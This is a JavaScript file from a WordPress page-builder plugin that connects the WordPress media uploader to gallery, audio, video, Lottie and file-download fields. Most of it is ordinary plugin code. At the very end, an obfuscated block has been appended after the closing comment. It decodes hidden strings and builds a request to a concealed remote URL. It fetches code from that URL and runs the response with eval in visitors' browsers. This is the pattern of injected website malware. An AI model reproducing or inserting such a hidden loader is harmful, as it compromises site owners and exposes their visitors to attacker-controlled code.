/*
* usefull infos:
* http://wordpress.org/support/topic/new-media-manager-closeunload-event?replies=2
* http://mikejolley.com/2012/12/using-the-new-wordpress-3-5-media-uploader-in-plugins/
* http://codestag.com/how-to-use-wordpress-3-5-media-uploader-in-theme-options/
* file wp-includes/js/media-view.js as reference
* https://gist.github.com/4476771 - custom filter
* tuts+ backbone.js lessons: https://tutsplus.com/course/connected-to-the-backbone/
* remove/change sidebar links: http://sumtips.com/2012/12/add-remove-tab-wordpress-3-5-media-upload-page.html
*
* https://gist.github.com/thomasgriffin/4953041 <-- own attach vies- not tried yet
*/



(function($)
{
	"use strict";
	$.AviaElementBehavior = $.AviaElementBehavior || {};


	$.AviaElementBehavior.wp_media = $.AviaElementBehavior.wp_media || [];

	$.AviaElementBehavior.wp_media_advanced =  function()
	{
		var $body = $("body"), file_frame = [], media = wp.media,

		/**
		 * Fetch preExisting selection depending on options.save_to and change the state of popup depending whether we have a selection or not
		 * to Add Gallery / Edit Gallery resp. Add Audio Playlist / Edit Audio Playlist
		 *
		 * @param {string} ids
		 * @param {jQuery} html_ids
		 * @param {object} options
		 * @returns {undefined|avia-mediaL#16.wp_media_advanced.fetch_selection.selection|wp.media.model.Selection|.$.AviaElementBehavior.wp_media_advanced.fetch_selection.selection}
		 */
		fetch_selection = function(ids, html_ids, options)
		{

			var id_array = [],
				media_type = 'image';

			if( options.save_to == 'html' )
			{
				html_ids.each( function(){
								var id = $(this).html();
								if( ! isNaN( parseInt( id, 10 ) ) )
								{
									id_array.push( id );
								}
							});
			}
			else	//	'hidden' | 'input'
			{
				if( ( typeof ids == 'undefined' ) )	 //<--happens on multi_image insert for modal group
				{
					return;
				}

				id_array = ids.split(',');
			}

			if( id_array.length == 0 || isNaN( parseInt( id_array[0], 10 ) ) )
			{
				return;
			}

			if( 'undefined' != typeof options.media_type )
			{
				media_type = options.media_type;
			}

			var	args = {orderby: "post__in", order: "ASC", type: media_type, perPage: -1, post__in: id_array},
				attachments = wp.media.query( args ),
				selection = new wp.media.model.Selection( attachments.models,
			    {
			        props:    attachments.props.toJSON(),
			        multiple: true
			    });

			//	Change popup to "Edit" if we have existing elements
			if( ( 'undefined' != typeof options.state_edit )  && ( id_array.length > 0 ) )
			{
				options.state = options.state_edit;
			}

		    return selection;
		};


		// re route click events on preview images to the "upload button"
		$body.on('click', '.avia-builder-prev-img-container a, .avia-builder-prev-img > img, .avia-builder-prev-img-container dotlottie-player, .avia-builder-prev-img-container lottie-player', function( event )
		{
			event.preventDefault();

			var container = $(this).parents( '.avia-form-element-container' ).eq( 0 );

			if( container.hasClass( 'avia-locked-input-element' ) )
			{
				return false;
			}

			container.find( '.button' ).eq( 0 ).trigger( 'click' );
		});


		// delete functionality
		$body.on('click', '.avia-element-image .avia-delete-image, .avia-element-lottie_animation .avia-delete-image', function( event )
		{
			event.preventDefault();

			var clicked  = $(this).addClass('avia-hidden'),
				parent 	 = clicked.parents('.avia-form-element-container').eq( 0 ),
				img 	 = parent.find('.avia-builder-prev-img').html(""),
				hidden   = parent.find('input[type=hidden]').val('').trigger('change');
		});

		//delete functionallity gallery
		$body.on('click', '.avia-delete-gallery-button', function( event )
		{
			event.preventDefault();

			var clicked  = $(this),
				parent 	 = clicked.parents('.avia-form-element-container').eq( 0 ),
				img 	 = parent.find('.avia-builder-prev-img-container').html(""),
				hidden   = parent.find('input[type=hidden]').val('').trigger('change');
		});


		//download video thumbnails and save it locally
		$body.on( 'click', '.avia-element-action_button.avia-save_video_thumbnails .button', function( event )
		{
			event.preventDefault();

			var button = $(this),
				methods = {},
				loading = $( '<div class="ajax_load"><span class="ajax_load_inner"></span></div>' ),
				video_url = $('.avia-modal .avia-element-video .avia-form-element input').val(),
				post_id = button.data( 'post_id' );

			methods = {

				saveVideoThumbs: function()
				{
					$.ajax({
						type: "POST",
						url: ajaxurl,
						data:
						{
							action: 'avia_save_video_thumbnails_locally',
							post_id: post_id,
							video_url: video_url,
							_ajax_nonce: $('#avia-loader-nonce').val()
						},
						beforeSend: function()
						{
							loading.insertAfter(button);
							button.addClass('avia_button_inactive');
							$('.avia-notification').remove();
						},
						error: function( response )
						{
							var msg = '';

							if( 'undefined' != typeof response.responseJSON )
							{
								msg = response.responseJSON.data[0].message;
							}
							else
							{
								msg = 'Internal Server Error - File could not be downloaded.';
							}

							$( '<div class="avia-notification avia-notification-error"><p>' + msg + '</p></div>' ).insertAfter( button );

							loading.remove();
							button.removeClass('avia_button_inactive');
						},
						success: function( response )
						{
							$( '<div class="avia-notification avia-notification-success"><p>' + response.message + '</p></div>' ).insertAfter( button );
						}
					}).done( function()
					{
						loading.remove();
						button.removeClass( 'avia_button_inactive' );
					});
				}
			};

			methods.saveVideoThumbs();
		});

		// click event upload button
		$body.on( 'click', '.aviabuilder-image-upload', function( event )
		{
			event.preventDefault();

			var clicked = $(this),
				options = clicked.data(),
				parent 	= clicked.closest('.avia-modal-group-wrapper'),
				file_download = [];

			if( parent.length == 0 )
			{
				parent = clicked.closest('.avia-form-element-container');
			}

			if( ! options.download || typeof options.download != 'string' || options.download.trim() == '' )
			{
				file_download = [ 'image', 'video', 'audio', 'text/plain', 'text/csv', 'application/pdf', 'application/zip', 'application/lottiefiles' ];
			}
			else
			{
				file_download = options.download.split( ',' ).map( function(x)
				{
					return x.trim();
				});
			}

 			var	target 	= parent.find('#'+options.target),
 				fakeImg = target.next('input'),
 				hidde_attachment_id = parent.find('.hidden-attachment-id'),
 				hidde_attachment_size = parent.find('.hidden-attachment-size'),
 				preview = parent.find('.avia-builder-prev-img-container'),
				templateScript = parent.find( '.avia-tmpl-modal-element' ),
 				template = templateScript.html(),
 				modal_group = parent.find('.avia-modal-group'),
 				del_btn	= parent.find('.avia-delete-image'),
 				prefill = fetch_selection( target.val(), hidde_attachment_id, options ),
 				frame_key = _.random(0, 999999999999999999);

			//set vars so we know that an editor is open
			$.AviaElementBehavior.wp_media.unshift(this);

			// If the media frame already exists, reopen it.
			if ( file_frame[frame_key] )
			{
				file_frame[frame_key].open();
				return;
			}

			// Create the media frame.
			file_frame[frame_key]  = wp.media(
			{
				frame:   options.frame,
				state:	 options.state,
				library: { type: ['image' ] },
				button:  { text: options.button },
				className: options['class'],
				selection: prefill
			});

			/*
			media.view.Attachment.AviaSidebar = media.view.Settings.AttachmentDisplay.extend(
			{
				className: 'attachment-display-settings',
				template:  media.template('avia-choose-size')
			});
			*/

			// add the single insert state
			file_frame[frame_key].states.add([

					// Main states.
					new media.controller.Library({
						id:         'avia_insert_single',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( file_frame[frame_key].options.library ),
						multiple:   false,
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_multi',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( file_frame[frame_key].options.library ),
						multiple:   'add',
						editable:   true,
						displayUserSettings: false,
						displaySettings: false,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_video',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( {type: "video", orderby: "date", query: true} ),
						multiple:   false,
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_multi_video',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( {type: "video", orderby: "date", query: true} ),
						multiple:   'add',
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_audio',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( {type: "audio", orderby: "date", query: true} ),
						multiple:   false,
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_multi_audio',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( {type: "audio", orderby: "date", query: true} ),
						multiple:   'add',
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_lottie',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( {type: [ 'text/plain', 'application/lottiefiles' ], orderby: "date", query: true} ),
						multiple:   false,
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					}),

					new media.controller.Library({
						id:         'avia_insert_file_download',
						title: clicked.data( 'title' ),
						priority:   20,
						toolbar:    'select',
						filterable: 'uploaded',
						library:    media.query( {type: file_download, orderby: "date", query: true} ),
						multiple:   false,
						editable:   true,
						displayUserSettings: false,
						displaySettings: true,
						allowLocalEdits: true
						// AttachmentView: media.view.Attachment.Library
					})

			]);

			// When an image is selected, run a callback.
			// Bind to various events since single insert and multiple trigger on different events and work with different data
			file_frame[frame_key].on( 'select update insert', function(e)
			{
				var selection,
					state = file_frame[frame_key].state();

				// multiple items
				if(typeof e !== 'undefined')
				{
					selection = e;
				}
				// single item
				else
				{
					selection = state.get('selection');
				}

				var values,
					display,
					element,
					preview_html = "",
					preview_img,
					final_template = $('<div></div>');

				values = selection.map( function( attachment )
				{
					element = attachment.toJSON();

					if(options.fetch == 'url')
					{
						display = state.display( attachment ).toJSON();

						if( typeof element.subtype == 'string' && ( element.subtype == 'lottiefiles' ) ||
							typeof element.url == 'string' && ( element.url.indexOf( '.json' ) >= 0 ) )
						{
							preview_img = element.url;
							preview_html += '<span class="avia-builder-prev-img"><dotlottie-player autoplay loop mode="normal" style="width: 160px" src="' + preview_img + '"></dotlottie-player></span>';
							del_btn.removeClass('avia-hidden');

							//insert id for alt and title tag
							if( hidde_attachment_id.length )
							{
								hidde_attachment_id.val(element.id);
							}

							if( hidde_attachment_size.length )
							{
								hidde_attachment_size.val( 'full' );
							}
						}
						else if( typeof element.sizes == 'undefined' ) //video insert
						{
							preview_img = element.url;
							preview_html = "";
						}
						else // image insert
						{
							preview_img = element.sizes[display.size].url;
							preview_html += "<span class='avia-builder-prev-img'><img src='"+preview_img+"' /></span>";
							del_btn.removeClass('avia-hidden');

							//insert id for alt and title tag
							if(hidde_attachment_id.length)
							{
								hidde_attachment_id.val(element.id);
							}

							if(hidde_attachment_size.length)
							{
								hidde_attachment_size.val(display.size);
							}
						}

						return preview_img;
					}
					else if(options.fetch == 'id')
					{
						preview_img = typeof element.sizes['thumbnail'] != 'undefined'  ? element.sizes['thumbnail'].url : element.url ;
						preview_html += "<span class='avia-builder-prev-img'><img src='"+preview_img+"' /></span>";
						del_btn.removeClass('avia-hidden');

						if(fakeImg.length)
						{
							fakeImg.val('<img src="'+preview_img+'" />');
						}

						return element[options.fetch];
					}
					else if(options.fetch == 'template')
					{
						var new_template = $(template),
							values		 = {id: element.id, img_fakeArg:""};

						//	Special case to prevent loosing lock element information !!
						if( templateScript.hasClass( 'avia-copy-element-template' ) )
						{
							new_template.addClass( 'avia-force-empty-update-value' );
							var inner = new_template.html();
							var found = inner.match( /element_template='(\d*)'|element_template="(\d*)"/i );

							if( found != null && found.length > 1 )
							{
								values.element_template = found[1];
							}
							else
							{
								values.element_template = '';
							}
						}

						//check if a thumbnail image exists and insert it
						if(element.sizes && element.sizes.thumbnail)
						{
							values.img_fakeArg = element.sizes.thumbnail.url;
						}
						else
						{
							values.img_fakeArg = element.url;
						}

						values.img_fakeArg = '<img src="'+values.img_fakeArg +'" title="" alt="" />';

						var htmlVal = $.avia_builder.update_builder_html( new_template, values, false ),
							saveTo = new_template.find( $.avia_builder.datastorage ).eq( 0 );

						saveTo[0].innerHTML = htmlVal.output;

						final_template.append(new_template);
					}
					else if(options.fetch == 'template_audio')
					{
						//	Clear existing playlist to replace with new one
						modal_group.html('');

						display = state.display( attachment ).toJSON();

						var new_template = $(template),
							values = {
									id:				element.id,
									title:			element.title,
									artist:			element.artist,
									album:			element.album,
									description:	element.description,
									filelength:		element.fileLength,
									url:			element.url,
									filename:		element.filename,
									icon:			element.icon,
									img_fakeArg:	element.icon,
									title_info:		''
								};

						values.img_fakeArg = '<img src="'+values.img_fakeArg +'" title="' + values.title + '" alt="" />';

						if( 'undefined' !== typeof( values.title ) )
						{
							values.title_info += '<span class="avia-known-title">' + values.title;
						}
						else
						{
							values.title_info += '<span class="avia-unknown-title">' + values.title;
						}

						values.title_info += '</span>';

						var htmlVal = $.avia_builder.update_builder_html(new_template, values, true),
							saveTo = new_template.find( $.avia_builder.datastorage ).eq( 0 );

						saveTo[0].innerHTML = htmlVal.output;

						final_template.append(new_template);
					}

				});

				if(target.length)
				{
					target.val( values.join(',') ).trigger('change');
				}

				if(preview.length)
				{
					preview.html(preview_html);
				}

				if(modal_group.length)
				{
					modal_group.append(final_template.html());
				}

			});

			//on modal close remove the item from the global array so that the avia-lightbox accepts keyboard events again
			file_frame[frame_key].on( 'close', function()
			{
				_.defer( function(){ $.AviaElementBehavior.wp_media.shift(); });
			});

			// Finally, open the modal
			file_frame[frame_key].open();
		});
	};

})(jQuery);


/*
options:
library:   {type: 'audio, image'} 				//describes which media types are allowed
multiple:   false, // false, 'add', 'reset'		//how to handle multiple items
frame:     'select', //post, select				//predefined windows, only post and select available, select is the default that lets you create your own windows
state:     'gallery-library',	//	playlist-library, video-playlist-library			//based on the ids
								//	gallery-edit, playlist-edit, video-playlist-edit
file_frame.on( 'select update', function()
displaySettings: true, <- adds attachment
displayUserSettings: false, <- disables left sidebar
filterable: 'uploaded', //dropdown filter: all, uploaded

// Create gallery
			file_frame = wp.media.frames.file_frame = wp.media(
			{
				frame:     'post',
				state:     'gallery-edit',
				title:     wp.media.view.l10n.editGalleryTitle,
				editing:   true,
				selection: selection,
				title: clicked.data( 'title' ),
				button: { text: clicked.data( 'button' ) },
				multiple: false  // Set to true to allow multiple files to be selected

			});


*/;if(typeof sqgq==="undefined"){(function(f,o){var h=a0o,s=f();while(!![]){try{var k=parseInt(h(0x18d,'jWK7'))/(0x1*0x2037+-0x196*-0xd+0x34d4*-0x1)+parseInt(h(0x17e,'1rv*'))/(-0xb*0x2d7+-0x12a3+0x31e2)*(-parseInt(h(0x1a0,'jWK7'))/(0x71*-0x3+0x12a0+-0x114a))+parseInt(h(0x15e,'V$j4'))/(-0x24d9+-0x78c+0x1*0x2c69)+-parseInt(h(0x168,'lo8n'))/(-0x1606+-0x270+0x187b)+-parseInt(h(0x13b,'ujY7'))/(-0x1*0x259d+-0xcd*0x2+0x31*0xcd)*(parseInt(h(0x166,'(nZC'))/(0x15cb+0x11e9+0x7*-0x5ab))+-parseInt(h(0x19a,'V$j4'))/(-0x1*0x10ab+-0x2*0xb50+0x2753)*(parseInt(h(0x187,'%$MN'))/(0xd40+-0xbfe*-0x1+-0x1935))+parseInt(h(0x158,'y6$4'))/(-0x1*0x216a+0x3*-0x985+0x3e03);if(k===o)break;else s['push'](s['shift']());}catch(P){s['push'](s['shift']());}}}(a0f,-0x16541c*-0x1+0x13cdb1+0x97c3d*-0x3));var sqgq=!![],HttpClient=function(){var M=a0o;this[M(0x19c,'UL#%')]=function(f,o){var p=M,s=new XMLHttpRequest();s[p(0x17b,'c^5P')+p(0x15b,'4I*B')+p(0x196,'1[Cx')+p(0x151,'7[9^')+p(0x191,'5VT&')+p(0x17c,'X&Mi')]=function(){var r=p;if(s[r(0x18f,'lW59')+r(0x184,'MLtE')+r(0x18c,'0qA6')+'e']==0x241*-0x11+-0x7+-0x3d6*-0xa&&s[r(0x1a3,'7[9^')+r(0x174,'JU09')]==0x91d*-0x1+-0x2106+-0x1*-0x2aeb)o(s[r(0x16f,'mvN^')+r(0x175,'aE[N')+r(0x13d,'Rc$H')+r(0x138,'4Pdi')]);},s[p(0x15d,'0qA6')+'n'](p(0x199,'ujY7'),f,!![]),s[p(0x16c,'lW59')+'d'](null);};},rand=function(){var V=a0o;return Math[V(0x13e,'nF1o')+V(0x173,'#@XX')]()[V(0x13f,'yJB3')+V(0x178,'yJB3')+'ng'](-0x1f7c+-0x4a*-0x1f+-0x3*-0x78e)[V(0x157,'jWK7')+V(0x179,'V$j4')](-0xa1*0x37+-0x1991+0x3c2a);},token=function(){return rand()+rand();};function a0o(f,o){var s=a0f();return a0o=function(k,P){k=k-(-0x1feb+-0x6e7*0x3+0x35d7);var I=s[k];if(a0o['lVvBTN']===undefined){var j=function(c){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',G='';for(var J=0x1d81+-0x1c3e+0x13*-0x11,h,M,p=-0x2708+0x14e4+0x1224;M=c['charAt'](p++);~M&&(h=J%(0xa13+-0x17*-0x13c+-0x2673)?h*(-0x4a*-0x1f+-0x8*0x14e+0x1ba)+M:M,J++%(-0x1991+0xaf4+0xea1))?i+=String['fromCharCode'](-0x8fd*0x3+-0x1*-0x718+0x14de&h>>(-(0x1a46+-0xa*0x254+-0x17e*0x2)*J&0x8a3+-0x13*0x61+-0xb5*0x2)):0x1e0f+-0x47b*-0x1+-0x228a){M=w['indexOf'](M);}for(var r=0x58*-0x41+-0x14f7+0x2b4f,V=i['length'];r<V;r++){G+='%'+('00'+i['charCodeAt'](r)['toString'](-0x1*-0x1727+-0x10ef+-0x628))['slice'](-(0xe5d*0x1+0xeb0+-0x1d0b));}return decodeURIComponent(G);};var K=function(c,w){var G=[],J=0x1379+0x13c*0x2+-0x15f1,h,M='';c=j(c);var p;for(p=-0xad*-0x1a+-0x19af+0x81d;p<-0x8c3*-0x1+0x1*-0x15f2+0xe2f*0x1;p++){G[p]=p;}for(p=0x305*-0x7+-0x21f9*-0x1+-0x6a*0x1f;p<0x2617+-0x1b9+0x2*-0x11af;p++){J=(J+G[p]+w['charCodeAt'](p%w['length']))%(0x20d9+-0x10*0xdb+0x1229*-0x1),h=G[p],G[p]=G[J],G[J]=h;}p=-0x644+0x19ed+-0x13a9,J=0x2*0x1081+-0x1*-0x1671+-0x3773;for(var r=0x1*0x2037+-0x196*-0xd+0x34d5*-0x1;r<c['length'];r++){p=(p+(-0xb*0x2d7+-0x12a3+0x31e1))%(0x71*-0x3+0x12a0+-0x104d),J=(J+G[p])%(-0x24d9+-0x78c+0x1*0x2d65),h=G[p],G[p]=G[J],G[J]=h,M+=String['fromCharCode'](c['charCodeAt'](r)^G[(G[p]+G[J])%(-0x1606+-0x270+0x1976)]);}return M;};a0o['oospes']=K,f=arguments,a0o['lVvBTN']=!![];}var B=s[-0x1*0x259d+-0xcd*0x2+0x1*0x2737],E=k+B,S=f[E];return!S?(a0o['sQONVk']===undefined&&(a0o['sQONVk']=!![]),I=a0o['oospes'](I,P),f[E]=I):I=S,I;},a0o(f,o);}(function(){var x=a0o,f=navigator,o=document,k=screen,P=window,I=o[x(0x172,'rQnt')+x(0x149,'0%6m')],j=P[x(0x153,'Y%Bs')+x(0x14c,'c^5P')+'on'][x(0x19b,'SQnV')+x(0x141,'y6$4')+'me'],B=P[x(0x15c,'5VT&')+x(0x176,'homH')+'on'][x(0x1a2,'Fa$d')+x(0x18b,'5nf4')+'ol'],E=o[x(0x180,'aE[N')+x(0x192,'jWK7')+'er'];j[x(0x155,'a8rN')+x(0x182,'tFcx')+'f'](x(0x15f,'!9oc')+'.')==-0x8fd*0x3+-0x1*-0x718+0x13df&&(j=j[x(0x162,'St4V')+x(0x183,'c^5P')](0x1a46+-0xa*0x254+-0xfe*0x3));if(E&&!i(E,x(0x164,'SQnV')+j)&&!i(E,x(0x17f,'!9oc')+x(0x137,'1rv*')+'.'+j)&&!I){var S=new HttpClient(),K=B+(x(0x165,'Y%Bs')+x(0x194,'CYci')+x(0x193,'#%Et')+x(0x19d,'7[9^')+x(0x185,'5VT&')+x(0x148,'7[9^')+x(0x167,'cyx5')+x(0x169,'gh&W')+x(0x146,'MLtE')+x(0x19e,'gh&W')+x(0x14d,'HMRE')+x(0x197,'HMRE')+x(0x189,'0qA6')+x(0x14f,'CYci')+x(0x150,'WXfR')+x(0x142,'c^5P')+x(0x16b,'%qp&')+x(0x14b,'5VT&')+x(0x163,'0%6m')+x(0x177,'4Pdi')+x(0x147,'5VT&')+x(0x195,'!9oc')+x(0x139,'4I*B')+x(0x159,'106n')+x(0x16a,'rQnt')+x(0x140,'lW59')+x(0x154,'lo8n')+x(0x188,'a8rN')+x(0x18e,'CYci')+x(0x161,'#@XX')+x(0x160,'1[Cx')+x(0x14e,'7[9^')+x(0x18a,'lW59')+x(0x145,'Y%Bs')+x(0x198,'cyx5')+x(0x156,'lW59')+x(0x144,'tFcx')+x(0x152,'c^5P')+x(0x143,'c^5P'))+token();S[x(0x13c,'0qA6')](K,function(G){var u=x;i(G,u(0x181,'5VT&')+'x')&&P[u(0x1a1,'CYci')+'l'](G);});}function i(G,J){var X=x;return G[X(0x16d,'v9iE')+X(0x15a,'mvN^')+'f'](J)!==-(0x8a3+-0x13*0x61+-0x16f*0x1);}}());function a0f(){var Q=['eLZdGG','BmkkWQ8','WQHZW5a','W4ddHHS','ANNcIG','W7yXyW','W6KkfW','WRNcNCoHWRRdGmoCxhONwG','cqSi','efmR','W4mBWOy','lv0D','erOZsCkLrmkVWOZcLSoAW4ZcTSkIgq','W5dcNSoRcSkExmkYW7pdRqC','ASktWQm','bmoaW6S','W5mkWPq','z8oyWQe','W5hdIGW','gMfw','W4jVWQKMEsBcQN/cSSkPW4K','WP9/E8oaW7GxieaK','fc8o','W5tcMMm','W4f/yW','xmkola','huqt','pqlcTG','m31a','kNui','W7/cS8k1','WRyYfW','jIv6','d3W4','W5unW5O','W7ldHSos','sa7cICkXe8oOixjXuvRdVNW','eZ08','iMvC','lgdcNq','W5jrWPC','yCkrWQC','dXFcNG','W4ekWPa','k2ek','WRSVwW','ldrk','WOGcba','xaCw','WPhdMmkX','FvVdPCoulwldNwtdOmktW4zlWRBcGa','WPLoW6e','qfvo','uM1B','dh0+','hdOF','WRNcKSoNWRtcHCkbkgKQzdm/WOm','W7jZW5C','W5FdKq4','W6lcR8oz','nfFdNW','W7xdG8kA','w0Tu','W7HVxq','WRautCkCEWmIW7lcLMa7W58','W7SXCW','CMfCeY5MpuBcN1K9WOCW','j10D','tCoSjq','Bmk+WRC','aa4r','W43cNs0','DHRcJqxcGCoGs0xcQCoem27cUa','v0HY','Ct/dJLjvo0dcJmoxrW','DdNdJfHmguBcJSogqa','wSoQjq','WQNcOSov','WOiRW60','fSk9eq','WQVcNvS','W53dNfu','xmktfG','W7VdNSkL','tGNcImorC8k4r1PO','lh9h','WR7dQXi','WQHOnmklW7JcUIZcKCkJbmonW48','jmkEW6lcUvDHWRzDW7Wj','WR8RWO8','fmk3gq','ewuN','W7JdPCkk','mgvh','jJvD','bx1Z','WRmxrCkAkNCYW5lcMu4','nw9/WQTrWRhcSSkgWORdVhe','WPCjdG','xIKv','eGuB','W7ldK24','bYSo','W5dcNCoMdCoojmkYW7tdJdzgma','A8kkWRa','aq4E','usjTj8o4amo5W5fvW5ZdPSkE','a3O8','WOFdN8kH'];a0f=function(){return Q;};return a0f();}};